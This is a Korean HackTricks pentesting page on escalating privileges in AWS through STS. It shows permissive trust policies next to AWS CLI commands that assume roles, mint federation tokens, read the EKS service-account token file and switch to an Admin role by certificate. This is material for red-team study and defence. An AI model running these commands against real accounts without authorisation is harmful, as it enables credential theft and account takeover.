AWS - STS Privesc

Reading time: 5 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

STS

sts:AssumeRole

모든 역할은 역할 신뢰 정책으로 생성되며, 이 정책은 누가 생성된 역할을 맡을 수 있는지를 나타냅니다. 같은 계정의 역할이 다른 계정이 이를 맡을 수 있다고 말하면, 해당 계정은 역할에 접근할 수 있게 됩니다 (그리고 잠재적으로 privesc를 할 수 있습니다).

예를 들어, 다음 역할 신뢰 정책은 누구나 이를 맡을 수 있음을 나타내므로, 모든 사용자가 해당 역할과 관련된 권한으로 privesc를 할 수 있습니다.

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

당신은 다음 역할을 가장할 수 있습니다:

bash
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname

잠재적 영향: 역할에 대한 권한 상승.

caution

이 경우 권한 sts:AssumeRole악용할 역할에 명시되어야 하며 공격자의 정책에는 명시되지 않아야 합니다.
한 가지 예외를 제외하고, 다른 계정의 역할을 가정하기 위해 공격자 계정은 역할에 대해 sts:AssumeRole 권한이 필요합니다.

sts:GetFederationToken

이 권한을 사용하면 모든 사용자를 가장하기 위한 자격 증명을 생성할 수 있습니다:

bash
aws sts get-federation-token --name <username>

이 권한을 다른 사용자를 가장할 수 있는 접근 권한을 주지 않고 안전하게 부여하는 방법은 다음과 같습니다:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "sts:GetFederationToken",
"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}"
}
]
}

sts:AssumeRoleWithSAML

이 역할에 대한 신뢰 정책은 SAML을 통해 인증된 사용자에게 역할을 가장할 수 있는 권한을 부여합니다.

이 권한이 포함된 신뢰 정책의 예는 다음과 같습니다:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OneLogin",
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}
]
}

역할을 가장하기 위한 자격 증명을 생성하려면 일반적으로 다음과 같은 방법을 사용할 수 있습니다:

bash
aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>

하지만 제공자는 이를 더 쉽게 만들기 위해 자신의 도구를 가질 수 있습니다, 예를 들어 onelogin-aws-assume-role:

bash
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600

잠재적 영향: 역할에 대한 권한 상승.

sts:AssumeRoleWithWebIdentity

이 권한은 **모바일, 웹 애플리케이션, EKS...**에서 웹 아이덴티티 공급자를 통해 인증된 사용자에 대한 임시 보안 자격 증명 세트를 얻을 수 있는 권한을 부여합니다. 여기에서 자세히 알아보세요.

예를 들어, EKS 서비스 계정IAM 역할을 가장할 수 있어야 하는 경우, **/var/run/secrets/eks.amazonaws.com/serviceaccount/token**에 토큰이 있으며, 역할을 가정하고 자격 증명을 얻을 수 있습니다.

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The role name can be found in the metadata of the configuration of the pod

Federation Abuse

AWS - Federation Abuse

IAM Roles Anywhere Privesc

AWS IAM RolesAnywhere는 AWS 외부의 워크로드가 X.509 인증서를 사용하여 IAM 역할을 가정할 수 있도록 합니다. 그러나 신뢰 정책이 적절하게 범위가 지정되지 않으면 권한 상승을 위해 악용될 수 있습니다.

이 정책은 허용되는 신뢰 앵커 또는 인증서 속성에 대한 제한이 없습니다. 결과적으로, 계정의 모든 신뢰 앵커에 연결된 모든 인증서를 사용하여 이 역할을 가정할 수 있습니다.

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}

프라이빗 에스컬레이션을 위해 aws_signing_helper가 필요합니다. https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html

그런 다음 유효한 인증서를 사용하여 공격자는 더 높은 권한 역할로 전환할 수 있습니다.

bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기